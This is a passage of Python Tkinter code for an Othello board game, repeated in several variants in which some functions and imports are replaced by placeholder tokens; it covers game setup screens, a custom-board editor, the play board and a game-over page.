self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n <function token>\n\n def Start_Game(self):\n self.Game = lgc.Game(**self.GameParams)\n self.Game.Start_Game()\n self.Update_Game()\n self.Window.Pages['Game'].Update_Game_Type()\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n <function token>\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n <function token>\n <function token>\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n <function token>\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def 